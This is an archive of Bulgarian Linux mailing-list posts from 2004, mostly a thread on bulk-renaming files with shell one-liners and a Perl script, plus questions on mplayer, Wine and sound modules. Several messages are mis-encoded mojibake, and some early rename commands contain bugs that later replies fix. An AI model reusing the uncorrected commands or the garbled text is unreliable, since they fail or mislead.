lug-bg: mplayer+lirc
здравеите,имам следния въпрос отнсно Mplayer + lirc .Значи имам тв тунер и с четен подкарах xawtv-то и xmms-a да се управляват от дистанционтото но Mplayer -а при пускане ми дава следнотоenable lirc supportcould not connect to socked connection refused а съм колпилирал Mplayer -а с lirc съпорт. потърсих в нет-а но не открих как да се справяблагодаря предварително. - АВТОРСКИ картички от Mail.bg Календар на ВСИЧКИ празници http://mail.bg/greetings/
lug-bg: Преименуване на файлове
Здравейте, имам една купчина файлове, които имат много сходни имена, т.е. една определена част от имената съвпада. ala-bala.portokala.part01.ext ala-bala.portokala.part02.ext ala-bala.portokala.part03.ext Как да преименувам файловете така, че да махна определена част от името? Горните да станат: ala-bala.part01.ext ala-bala.part02.ext ala-bala.part03.ext Да бяха стотина, щях да ги мина на ръка, ама са стотици, а и искам да понауча малко... :-) Предварително благодаря, nmk A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Преименуване на файлове
Nickolay Kolev wrote: > имам една купчина файлове, които имат много сходни имена, т.е. една > определена част от имената съвпада. > > ala-bala.portokala.part01.ext > ala-bala.portokala.part02.ext > ala-bala.portokala.part03.ext > > Как да преименувам файловете така, че да махна определена част от > името? Горните да станат: > > ala-bala.part01.ext > ala-bala.part02.ext > ala-bala.part03.ext > > Да бяха стотина, щях да ги мина на ръка, ама са стотици, а и искам да > понауча малко... :-) for i ala-bala* ; do mv "$i" "`echo $i | sed -e 's/protokala//'"; done; -- Georgi Chorbadzhiyski http://georgi.unixsol.org/ A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Преименуване на файлове
Georgi Chorbadzhiyski wrote: > Nickolay Kolev wrote: >> имам една купчина файлове, които имат много сходни имена, т.е. една >> определена част от имената съвпада. >> >> ala-bala.portokala.part01.ext >> ala-bala.portokala.part02.ext >> ala-bala.portokala.part03.ext >> >> Как да преименувам файловете така, че да махна определена част от >> името? Горните да станат: >> >> ala-bala.part01.ext >> ala-bala.part02.ext >> ala-bala.part03.ext >> >> Да бяха стотина, щях да ги мина на ръка, ама са стотици, а и искам да >> понауча малко... :-) > > for i ala-bala* ; do mv "$i" "`echo $i | sed -e 's/protokala//'"; done; > for i in . заберавил съм in-a, не пращайте шел скриптове бе да ги тествате веднага след събуждане ;-) -- Georgi Chorbadzhiyski http://georgi.unixsol.org/ A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Преименуване на файлове
ÐÐ ÑÑ, 2004-01-15 Ð 12:28, Nickolay Kolev ÑÐ: > ÐÐÑÑÐ, > > ÐÑÐÑÐÐÐ ÑÐÐ, ÐÐÐÑÐ ÐÐÐÑ Ð > ÑÑ Ð, Ñ.Ð. > ÐÐÑÐÐÐ ÑÐÑÑ ÐÑ ÐÑÐ ÑÑÐ. > > ala-bala.portokala.part01.ext > ala-bala.portokala.part02.ext > ala-bala.portokala.part03.ext > > ÐÐÐ ÐÐ ÐÑÐÑÐÐÐ ÑÐÐÑÐ ÑÐÐÐ, ÑÐ ÐÐ ÐÐÑÐÐ > ÐÐÑÐÐÐ ÑÐÑÑ ÐÑ > ÐÐÐÑÐ? ÐÐÑÐÐÑÐ ÐÐ ÑÑÐÐÐÑ: > > ala-bala.part01.ext > ala-bala.part02.ext > ala-bala.part03.ext > > ÐÐ ÐÑÑÐ ÑÑÐÑÐÐÐ, ÑÑÑ ÐÐ ÐÐ ÐÐ ÑÑÐÐ, ÐÐÐ ÑÐ > ÑÑÐÑÐÑÐ, Ð Ð ÐÑÐÐÐ ÐÐ > ÑÑÐ Ð... :-) > for i in ala-bala* ; do echo mv $i `echo $i |sed s/portokala.//g` ; done Ð ÐÐÐ ÑÐ ÑÐÑÐÑÐÐ ÐÐÐ ÑÐ ÐÐÐ ÐÐÑÐ ÐÐÐ, ÐÑÑ |sh ÐÐÐÑÐÑ. signature.asc Description: This is a digitally signed message part
Re: lug-bg: Преименуване на файлове
On Thu, Jan 15, 2004 at 12:40:29PM +0200, Georgi Chorbadzhiyski wrote: > for i ala-bala* ; do mv "$i" "`echo $i | sed -e 's/protokala//'"; done; for i in * ; do mv "$i" `echo $i | sed -e 's/portokala.//'`; done; A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Преименуване на файлове
ÐÐ ÑÑ, 2004-01-15 Ð 12:47, Georgi Chorbadzhiyski ÑÐ: > > > > for i ala-bala* ; do mv "$i" "`echo $i | sed -e 's/protokala//'"; done; > > > > for i in . > > Ñ ÑÑÐ in-a, ÐÐ ÐÑÐÑÐÐÑÐ ÑÐÐ ÑÐÑÐÐÑÐÐÐ ÐÐ > ÐÐ ÐÐ ÑÐÑÑÐÐÑÐ > ÐÐÐ ÑÐÐÐ ÑÑÐÑÐ ;-) ÐÐ ÑÐ ÑÑÐÐ ÐÐ ÑÐÑÑÑÐ ÐÐÑÑÑÐÑÐÑÐ ÐÑÐ, ÑÐ ÑÐÑÐÐÑÐÐÐ ÑÑÑÐÐÐ ÐÐ Ñ ÐÐ ÐÐÑÐÑ ÐÐÑÑÐ :))) signature.asc Description: This is a digitally signed message part
lug-bg: RE: lug-bg: Преименуване на файлове
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Nickolay Kolev
> Sent: Thursday, January 15, 2004 12:29 PM
> To: LUG-BG
> Subject: lug-bg: Преименуване на файлове
>
>
> Здравейте,
>
> имам една купчина файлове, които имат много сходни имена, т.е. една
> определена част от имената съвпада.
>
> ala-bala.portokala.part01.ext
> ala-bala.portokala.part02.ext
> ala-bala.portokala.part03.ext
>
> Как да преименувам файловете така, че да махна определена част от
> името? Горните да станат:
>
> ala-bala.part01.ext
> ala-bala.part02.ext
> ala-bala.part03.ext
#!/bin/sh
for name1 in `ls ala-bala.portokala*` ; do
name2=`echo ${name1} | sed -e s/portokala\.//`
echo ${name1} \-\> ${name2}
mv ${name1} ${name2}
done
>
> Да бяха стотина, щях да ги мина на ръка, ама са стотици, а и искам да
> понауча малко... :-)
>
> Предварително благодаря,
> nmk
> ==
> ==
> A mail-list of Linux Users Group - Bulgaria (bulgarian
> linuxers). http://www.linux-bulgaria.org - Hosted by Internet
> Group Ltd. - Stara Zagora To unsubscribe:
> http://www.linux-> bulgaria.org/public/mail_list.html
>
>
> ==
> ==
>
Kostadin Karaivanov
Senior System Administrator
phone: +359 2 98592062
mobile: +359 888 436681
e-mail: [EMAIL PROTECTED]
A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers).
http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora
To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
lug-bg: problem s parametrite ot komandnia red
1. The code lives in a library 2. The library that it lives in does not include the main() function because that will be in the users code. 3. The users code in this case is wxWindows based and so the main() function isn't actually written by the user anyway, but this is a side-issue and I don't want the library to assume that the user is wxWindows-based 4. There is no main() function available for the user to customize. This means that there is no main() function, so how can the user store the argv[] somewhere? 6. But I need to have available for my part of code all the command line arguments Some Ideas ? A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: ____________________
ls *ext | perl -pe 'print;s/.protocala.//i' | xargs -n2 mv On Thu, 15 Jan 2004 11:28:58 +0100 Nickolay Kolev <[EMAIL PROTECTED]> wrote: |Здравейте, | |имам една купчина файлове, които имат много сходни имена, т.е. една |определена част от имената съвпада. | |ala-bala.portokala.part01.ext |ala-bala.portokala.part02.ext |ala-bala.portokala.part03.ext | |Как да преименувам файловете така, че да махна определена част от |името? Горните да станат: | |ala-bala.part01.ext |ala-bala.part02.ext |ala-bala.part03.ext | |Да бяха стотина, щях да ги мина на ръка, ама са стотици, а и искам да |понауча малко... :-) | |Предварително благодаря, |nmk A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: їаХШЬХЭгТРЭХ ЭР дРЩЫЮТХ
On Thu, 15 Jan 2004 11:28:58 +0100 Nickolay Kolev <[EMAIL PROTECTED]> wrote: > Здравейте, > > имам една купчина файлове, които имат много сходни имена, т.е. една > определена част от имената съвпада. > > ala-bala.portokala.part01.ext > ala-bala.portokala.part02.ext > ala-bala.portokala.part03.ext > > Как да преименувам файловете така, че да махна определена част от > името? Горните да станат: > > ala-bala.part01.ext > ala-bala.part02.ext > ala-bala.part03.ext Ако не ти се пишат скриптове - mmv. В твоя случай: $ mmv "alabala.*.part*" alabala.#2 дам -- Damyan Ivanov Creditreform Bulgaria [EMAIL PROTECTED] http://www.creditreform.bg/ phone: +359(2)928-2611, 929-3993 fax: +359(2)920-0994 mobile: +359-88-856-6067 ICQ: 3028500 Y!M: dam3028500 pgp0.pgp Description: PGP signature
Re: lug-bg: Преименуване на файлове
Много благодаря на всички. Както и очаквах, работи прекрасно и става на един ред. :-) nmk A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Преименуване на файлове
[EMAIL PROTECTED] wrote:
имам една купчина файлове, които имат много сходни имена, т.е. една
определена част от имената съвпада.
ala-bala.portokala.part01.ext
ala-bala.portokala.part02.ext
ala-bala.portokala.part03.ext
Как да преименувам файловете така, че да махна определена част от
името? Горните да станат:
ala-bala.part01.ext
ala-bala.part02.ext
ala-bala.part03.ext
#!/bin/sh
for name1 in `ls ala-bala.portokala*` ; do
name2=`echo ${name1} | sed -e s/portokala\.//`
echo ${name1} \-\> ${name2}
mv ${name1} ${name2}
еквивалентно на mv -v
done
--
Georgi Chorbadzhiyski
http://georgi.unixsol.org/
A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers).
http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora
To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
lug-bg: mplayer surround,5.1 and so on
hi, nqkoi ima li ideq kakwi parametri da podam na "-af pan=6:xx" , taka che da wzema signal ot Front-left i front-right i da podam signal i na Center.. Znachi stawa wapros samo za filmi koito sa stereo/stereo-surround zwuk, za AC3 filmi nqmam problem playwat se 6-te kanala.. Towa koeto prawq e da pusna dwukanalen stereo film i da izkaram zwuk na FL,FR,SL i SR (kakto move bi znaete powecheto 2ch filmi imat zapisano w dwata kanala i surround zwuka).. Kato izpolzwam "-af sub" toest kata naprawq na 2ch film : mplayer -channels 6 -af sub movie.avi swirqt 5(wkl. subwoofer-a) koloni bez Center, ideqta mi da prehwyrlq signal or FRONT kolonite.. Nai weroqtno ste stane s PAN no mnogo e kriptirana kato opciq i ne moga da razbera kak da q polzwam.. thanx A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Преименуване на файлове
On Thu, 2004-01-15 at 12:28, Nickolay Kolev wrote:
> ÐÑÐÑÐÐÐ ÑÐÐ, ÐÐÐÑÐ ÐÐÐÑ Ð
> ÑÑ Ð, Ñ.Ð.
> ÐÐÑÐÐÐ ÑÐÑÑ ÐÑ ÐÑÐ ÑÑÐ.
>
> ala-bala.portokala.part01.ext
> ala-bala.portokala.part02.ext
> ala-bala.portokala.part03.ext
>
> ÐÐÐ ÐÐ ÐÑÐÑÐÐÐ ÑÐÐÑÐ ÑÐÐÐ, ÑÐ ÐÐ ÐÐÑÐÐ
> ÐÐÑÐÐÐ ÑÐÑÑ ÐÑ
> ÐÐÐÑÐ? ÐÐÑÐÐÑÐ ÐÐ ÑÑÐÐÐÑ:
>
> ala-bala.part01.ext
> ala-bala.part02.ext
> ala-bala.part03.ext
ÐÐÐÑÐ ÐÑÑÐÐÑÐ ÐÑÑÑÐÑÐÑÐ ÐÐÑÐ ÐÐÐÑÑÐ Ð ÐÐ
ÑÐ ÑÐÐÐÑÑ ÐÑÐ Ñ for, ÐÐ
Ñ bash, ÐÑÑÐÐÐÑÐ Ñ echo | sed ÐÐ ÑÐ
ÑÐÐÑÑÐ. Ð ÐÐ:
for FILE in ala-bala,po* ; do mv $FILE ${FILE//portokala./} ; done
ÐÐ ÑÐ ÐÐÑÐÑÐÐÑÐÑ: man bash - > "Parameter Expansion"
ÑÐÐÐ
A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers).
http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora
To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: problem s parametrite ot komandnia red
Vasko Tomanov wrote: 4. There is no main() function available for the user to customize. This means that there is no main() function, so how can the user store the argv[] somewhere? a) Usera mozhe da buta raboti po environment-a wmesto da gi podawa kato argv, environmenta mozhesh da izchetesh ot wxWindows 6. But I need to have available for my part of code all the command line arguments b) Mozhesh da izchetesh comandniq red /proc/_some_pid_/cmdline c) ako celta na znaeneto na argv e scriptability, mozhesh da si napishesh konzolna programka koqto da si byrka po lib-a kakwoto ti trqbwa bez wyobshte da rowi w wxWindows-a, ako twa e adekwatno za twojte nuzhdi PO DQWOLITE sega wizhdam che wyw wxWindows ima wxApp::argv RTFM... andro A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
lug-bg: Re: lug-bg: Преименуване на файлове
Aide i az da ne ostana po nazade ama maaalko po obshirno s mnogo options
:PPP
#!/usr/bin/perl
use warnings;
#use scrict;
use Getopt::Long;
use File::Copy;
#---
GetOptions(
"h|help" => \$help,
"d|debug" => \$debug,
"t|test" => \$test,
"v|version" => \$vers,
#-
"c|color" => \$color,
"u|underline" => \$under,
"g|global"=> \$global,
"i|insensitive" => \$insen,
"f|force" => \$force,
"q|quiet" => \$quiet,
);
#---
if($help){ exec("perldoc $0"); }
if($vers){ version(); }
if($#ARGV == -1){ usage(); }
if($color eq ""){ $color = 1; }
if($under eq ""){ $under = 1; }
if($under && $color){
$CG = ansi_color("g","u");
$CR = ansi_color("r","u");
$CO = ansi_color("y","u");
$CL = ansi_color("d","n");
}elsif($under){
$CG = ansi_color("d","u");
$CR = ansi_color("d","u");
$CO = ansi_color("d","u");
$CL = ansi_color("d","n");
}elsif($color){
$CG = ansi_color("g","n");
$CR = ansi_color("r","n");
$CO = ansi_color("y","n");
$CL = ansi_color("d","n");
}
foreach $re (@ARGV){
if(-e $re){ last; } # if file, end of regexps
chomp($re);
$re =~ s/^\w*s?\///;
($pa,$tx,$md) = split(/\//,$re);
push(@re,$re);
if($global && (!($md =~ /g/))){ $md.= "g"; }
if($insen && (!($md =~ /i/))){ $md.= "i"; }
$pa{$re} = $pa; # regexp
$tx{$re} = $tx; # replacement
$md{$re} = $md; # modifier
$dl{$re} = $dl; # delimiter
}
if($#re == -1){ usage(); }
$nsp = int(($#re+1)/10)+2;
$spc = " " x $nsp;
foreach $re (@re){
shift(@ARGV);
}
while($ofile = shift(@ARGV)){
$nfile = $ofile;
$pfile = $ofile;
$nre = 0;
foreach $re (@re){
$pa = $pa{$re};
$tx = $tx{$re};
$md = $md{$re};
$dl = $dl{$re};
eval("\$nfile =~ s/$pa/$tx/$md");
if($pfile ne $nfile){
if($ofile[$#ofile] ne $ofile){ push(@ofile, $ofile); }
$pf{$ofile,$re} = $pfile;
$nf{$ofile,$re} = $nfile;
$rn{$ofile,$re} = $nre;
$re{$ofile}.= "$re"." __rEgExP__ ";
$pfile = $nfile;
}
$nre++;
}
$nf{$ofile} = $nfile;
}
foreach $ofile (@ofile){
$prc = "";
@re = split(/ __rEgExP__ /,$re{$ofile});
print("\n");
for($i=0;$i<=$#re;$i++){
$re = @re[$i];
if(!$quiet){
$pa = $pa{$re}; # pattern
$tx = $tx{$re}; # trans
$md = $md{$re}; # mod
$pp = $pa{$re[$i+1]}; # trans
$m2 = $md{$re[$i+1]}; # trans
$of = $ofile; # old file name
$pf = $pf{$ofile,$re};# new file name
$nf = $nf{$ofile,$re};# new file name
$rn = $rn{$ofile,$re};# regexp number
if($color||$under){
($pf, $nf) = color_regexp3($pf, $pa, $tx, $md, $nf, $pp, "", $m2);
}
$prn = $rn + 1;
if($nsp > 2){ $prn =~ s/^(\d)$/0$1/; $spc = " "; }
if($i==0){ print("$spc$pf\n"); }
print("$prn $nf\n");
}
}
$nfile = $nf{$ofile};
if(!$test){
if((!-e $nfile)||($force)){ move("$ofile","$nfile"); }
else{ print(STDERR "Cannot move \"$nfile\": file exists.\n"); }
}else{
#print("mv \"$ofile\" \"$nfile\"\n");
}
}
if(!$quiet){
print("\n");
}
sub color_regexp3{ my($p1, $r1, $t1, $m1, $p2, $r2, $t2, $m2) = @_;
my($c1, $c2, $c3);
my(@c3, @r1);
my($str,$pr);
my($i);
$c1 = restcol($p1,$r1, $t1,$m1,1);
$c2 = restcol($p2,$r2,"\$1",$m2,2);
$c3 = stradd($c1, $c2);
eval("\$p1 =~ s/($r1)/$CR\$1$CL/$m1;");
if($debug){
print(" $c1 s/$r1/$t1/$m1\n");
print(" +$c2 /$r2/$m2\n");
print(" =$c3 sum\n");
}
@c3 = split(//, $c3);
@p2 = split(//, $p2);
for($i=0;$i<=$#c3;$i++){
if($c3[$i] != $pr){
if($c3[$i] == 0){
$str.= "$CL$p2[$i]";
}elsif($c3[$i] == 1){
$str.= "$CL$CG$p2[$i]";
}elsif($c3[$i] == 2){
$str.= "$CL$CR$p2[$i]";
}elsif($c3[$i] == 3){
$str.= "$CL$CO$p2[$i]";
}
}else{
$str.= "$p2[$i]";
}
$pr = $c3[$i];
}
$p2 = $str."$CL";
return($p1,$p2);
}
sub restcol { my($st,$re,$tx,$md,$k) = @_;
my(@st);
my($i,$n,$col);
eval("\$st =~ s/($re)/ __ReGeXp__ $tx __ReGeXp__ /$md;");
@st = split(/ __ReGeXp__ /,$st);
for($i=0;$i<=$#st;$i++){
$n = $i%2*$k;
$col.= $n x length($st[$i]);
}
return($col);
}
sub stradd { my($a, $b) = @_;
my(@a,@b,@c);
my($i,$c);
my($sa) = 1;
my($sb) = 1;
if($a =~ s/^-//){ $sa*= -1; }
if($b =~ s/^-//){ $sb*= -1; }
@a = split(//,$a);
@b = split(//,$b);
for($i=0;$i<=$#a;$i++){
$c[$i] = $sa * $a[$i] + $sb * $b[$i];
if($c[$i] < 0){ $c[$i] = 0; }
}
$c = join('', @c);
return($c);
}
#---
sub ansi_color { my($color,$attrb) = @_;
my($ansi);
$ansi =
lug-bg: Re: lug-bg: Преименуване на файловe
Aide i az da ne
ostana po nazade ama maaalko po obshirno s mnogo
options:PPP#!/usr/bin/perluse warnings;#use scrict;use
Getopt::Long;use
File::Copy;#---GetOptions(
"h|help"
=> \$help,
"d|debug"
=> \$debug,
"t|test"
=> \$test,
"v|version" =>
\$vers, #-
"c|color"
=> \$color,
"u|underline" =>
\$under,
"g|global"
=> \$global, "i|insensitive"
=> \$insen,
"f|force"
=> \$force,
"q|quiet"
=>
\$quiet,);#---if($help){
exec("perldoc $0"); }if($vers){ version(); }if($#ARGV == -1){ usage();
}if($color eq ""){ $color = 1; }if($under eq ""){ $under = 1;
}if($under && $color){ $CG =
ansi_color("g","u"); $CR = ansi_color("r","u"); $CO =
ansi_color("y","u"); $CL =
ansi_color("d","n");}elsif($under){ $CG =
ansi_color("d","u"); $CR = ansi_color("d","u"); $CO =
ansi_color("d","u"); $CL =
ansi_color("d","n");}elsif($color){ $CG =
ansi_color("g","n"); $CR = ansi_color("r","n"); $CO =
ansi_color("y","n"); $CL =
ansi_color("d","n");}foreach $re (@ARGV){ if(-e
$re){ last; } # if
file, end of regexps chomp($re); $re =~
s/^\w*s?\///; ($pa,$tx,$md) = split(/\//,$re);
push(@re,$re); if($global && (!($md =~ /g/))){ $md.= "g";
} if($insen && (!($md =~ /i/))){ $md.= "i";
} $pa{$re} = $pa; #
regexp $tx{$re} = $tx; #
replacement $md{$re} = $md; #
modifier $dl{$re} = $dl; #
delimiter}if($#re == -1){ usage(); }$nsp =
int(($#re+1)/10)+2;$spc = " " x $nsp;foreach $re (@re){
shift(@ARGV);}while($ofile = shift(@ARGV)){ $nfile =
$ofile; $pfile = $ofile; $nre = 0; foreach $re
(@re){ $pa = $pa{$re}; $tx =
$tx{$re}; $md = $md{$re}; $dl =
$dl{$re}; eval("\$nfile =~
s/$pa/$tx/$md"); if($pfile ne
$nfile){ if($ofile[$#ofile] ne $ofile){
push(@ofile, $ofile); } $pf{$ofile,$re} =
$pfile; $nf{$ofile,$re} =
$nfile; $rn{$ofile,$re} =
$nre; $re{$ofile} .= "$re"."
__rEgExP__ "; $pfile =
$nfile; } $nre++;
} $nf{$ofile} = $nfile;}foreach $ofile
(@ofile){ $prc = ""; @re = split(/ __rEgExP__
/,$re{$ofile}); print("\n");
for($i=0;$i<=$#re;$i++){ $re =
@re[$i]; if(!$quiet){
$pa = $pa{$re}; #
pattern $tx =
$tx{$re}; #
trans $md =
$md{$re}; #
mod $pp =
$pa{$re[$i+1]}; #
trans $m2 =
$md{$re[$i+1]}; #
trans $of =
$ofile;
# old file name $pf =
$pf{$ofile,$re}; # new file
name $nf = $nf{$ofile,$re};
# new file name $rn =
$rn{$ofile,$re}; # regexp
number
if($color||$under){ ($pf, $nf) =
color_regexp3($pf, $pa, $tx, $md, $nf, $pp, "",
$m2); }
$prn = $rn + 1; if($nsp > 2){ $prn =~
s/^(\d)$/0$1/; $spc = " "; }
if($i==0){ print("$spc$pf\n"); } print("$prn
$nf\n"); } } $nfile =
$nf{$ofile}; if(!$test){ if((!-e
$nfile)||($force)){ move("$ofile","$nfile"); } else{
print(STDERR "Cannot move \"$nfile\": file exists.\n"); }
}else{ #print("mv \"$ofile\" \"$nfile\"\n");
}}if(!$quiet){ print("\n");} sub
color_regexp3{ my($p1, $r1, $t1, $m1, $p2, $r2, $t2, $m2) = @_;
my($c1, $c2, $c3); my(@c3, @r1); my($str,$pr);
my($i); $c1 = restcol($p1,$r1, $t1,$m1,1); $c2 =
restcol($p2,$r2,"\$1",$m2,2); $c3 = stradd($c1, $c2);
eval("\$p1 =~ s/($r1)/$CR\$1$CL/$m1;");
if($debug){ print(" $c1
s/$r1/$t1/$m1\n"); print(" +$c2
/$r2/$m2\n"); print(" =$c3 sum\n");
} @c3 = split(//, $c3); @p2 = split(//,
$p2); for($i=0;$i<=$#c3;$i++){ if($c3[$i]
!= $pr){ if($c3[$i] ==
0){ $str.=
"$CL$p2[$i]"; }elsif($c3[$i] ==
1){ $str.=
"$CL$CG$p2[$i]"; }elsif($c3[$i] ==
2){ $str.=
"$CL$CR$p2[$i]"; }elsif($c3[$i] ==
3){ $str.=
"$CL$CO$p2[$i]"; }
}else{ $str.= "$p2[$i]";
} $pr = $c3[$i]; } $p2 =
$str."$CL"; return($p1,$p2);}sub restcol {
my($st,$re,$tx,$md,$k) = @_; my(@st);
my($i,$n,$col); eval("\$st =~ s/($re)/ __ReGeXp__ $tx __ReGeXp__
/$md;"); @st = split(/ __ReGeXp__ /,$st);
for($i=0;$i<=$#st;$i++){ $n =
$i%2*$k; $col.= $n x length($st[$i]);
} return($col);}sub stradd { my($a, $b) = @_;
my(@a,@b,@c); my($i,$c); my($sa) = 1; my($sb) =
1; if($a =~ s/^-//){ $sa*= -1; } if($b =~ s/^-//){ $sb*=
-1; } @a = split(//,$a); @b =
split(//,$b); for($i=0;$i<=$#a;$i++){
$c[$i] = $sa * $a[$i] + $sb * $b[$i]; if($c[$i] < 0){
$c[$i] = 0; } } $c = join('', @c);
return($c);}#---sub
ansi_color { my($color,$attrb) = @_; my($ansi); $ansi =
"\e["; if($color =~ /d(efault)?/i){
$ansi.= "00"; } elsif($color =~
/r(ed)?/i){
Re: lug-bg: UTF-8 и браузърите
On Thursday 01 January 2004 02:39, Валентин Стойков wrote: > On Monday 01 December 2003 19:01, Nikolay Mitev wrote: > > Hi > > > > George Danchev wrote: > > > > > > > > >CP1251 (Code Page 1251) е кодиране предложено от IBM (изнанеда;-) за > > > народите от братския Изток и за пръв път приложено в OS/2 (идеята е > > > била да е локално кодиране за всички народи ползващи кирилската азбука, > > > естествено братушките веднага излизат със свое KOI8-R, което пък се > > > форква леко от украинци като KOI8-U, и двете са simple mind отсекъде, > > > включват само букви;-). Естествено > > > > Тука не съм съгласен. Хич не е simple minded. Много си е хитро даже. По > > онова време много от мейлърите съвсем малоумно са стрипвали най-значещия > > бит на всеки символ, та братушките така са го направили, че нещо > > написано на koi-8 дори и да мине през такъв мейлър пак остава четимо, но > > с латински букви. Cool, huh? > > > > cheers, > > face > > Да, доста хитро измислено. > > Направих пак малко опити: > Кодирах един файл с utf-8 и друг с utf-16 и ги качих на два различни > сървъра - hit.bg и narod.ru: > > http://ireality.hit.bg/mandelbrot/index_utf8.htm (кодирането е utf-8) > http://ireality.hit.bg/mandelbrot/index.htm (кодирането е utf-16) > http://ireality.narod.ru/mandelbrot/index_utf8.htm (кодирането е utf-8) > http://ireality.narod.ru/mandelbrot/index.htm (кодирането е utf-16) > > Направих експерименти със следните браузъри: > Konqueror 3.1.4 > Galeon 1.3.9 > Mozilla 1.4 > > И трите браузъра отварят и визуализират двата файла, когато файловете са на > HDD. > > Адресите > http://ireality.hit.bg/mandelbrot/index.htm (кодирането е utf-16) > http://ireality.narod.ru/mandelbrot/index.htm (кодирането е utf-16) > се отварят правилно с Konqueror и Galeon, а Mozilla-та го третира като > ASCII (в менюто с кодиранията няма utf-16; когато този файл е на HDD се > визуализира правилно и в менюто с кодиранията се появява (и ползва) > utf-16). > > Когато се опитам да отворя > http://ireality.narod.ru/mandelbrot/index_utf8.htm (кодирането е utf-8) > http://ireality.hit.bg/mandelbrot/index_utf8.htm (кодирането е utf-8) > и с трите браузъра, някои букви не се визуализират правилно. > > Предполагам, че има проблем или при изпращането или при получаването на > файловете. Като ftp клиент ползвам Konqueror. Web сървъра на hit.bg е > apache, за narod.ru не знам. Странното е, че с Internet Explorer всичко се > вижда както трябва (само AutoSelect-а малко не работи). Проблема не се наблюдава когато не ползвам прокси сървъра http://www.privoxy.org/ Когато настроя браузъра да не го ползва, страниците с utf-8 кодиране се четат от Konqueror. A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
lug-bg: Diablo II Battle.net under Wine
Здравейте, Интересувам се има ли възможност да се играе в Battle.net на Diablo II под wine. Успях да го подкарам в Single Player и работи доста добре но искам и battle.net. Имам закупен CDKEY. Аз реално не сам го инсталирал а копирах само инсталацията от Windows и използвах готово registry от internet. Сега ми дава грешка, че ми е грешен CDKEYа. Симеон Монов A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
Re: lug-bg: Re: lug-bg: Преименуване на файлове
On Thu, Jan 15, 2004 at 07:17:54PM +0200, Danail Petrov wrote: > Aide i az da ne ostana po nazade ama maaalko po obshirno s mnogo options > :PPP ÐÐÑÑÐÐ ÐÐ, ÐÐÐ ÐÑÑ ÐÐ ÐÑÑÑÐÑÐ ÐÐ ÑÐ ÑÐÑÐ ÐÐ ÐÐ ÑÐ ÑÐ ÐÐ ÐÐ ÐÑÐÑÐÐÐ ÑÑÑÐÐ ;) A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
lug-bg: modprobe: Can't locate module sound-service-1-0
ÐÐÑÑÐ ÐÑÑÐÐ :) ÐÑÐÐÐ ÐÐ ÑÐÐ ÐÐ ÐÐÑÐ ÐÐÐÑÐ ÑÐ ÐÐÑÐÑÐÐ Ð ÑÐÑÑÐ Ð syslog: - Jan 15 09:16:41 darkstar modprobe: modprobe: Can't locate module sound-service-1-0 Jan 15 09:17:10 darkstar modprobe: modprobe: Can't locate module sound-slot-1 - ÐÐ ÐÑ Ð Ð? Ð ÐÐÐÑÐ ÑÐ ÐÐÑÐ Ð ÐÑÐÑÐÐ ÑÐÐÐÑÐ ÐÐ. ÐÐÑÑÑÐÐÑÑÐÑÑÐ ÐÐ Ð Slackware 9.1 (current), kernel 2.4.24, ÐÐÑÑÐ ÐÐ ÐÐÑÑÐ Ð Creative SB Live Value!, ÐÑÑÐ ÑÑÐ ÐÐ Ð Ð ÑÐÑÐÑÐ, Ð ÐÐ ÐÐÑÐ ÐÐÐÑÐ. -- Vladimir Germanov <[EMAIL PROTECTED]> A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html
lug-bg: Компилиране на kudzu
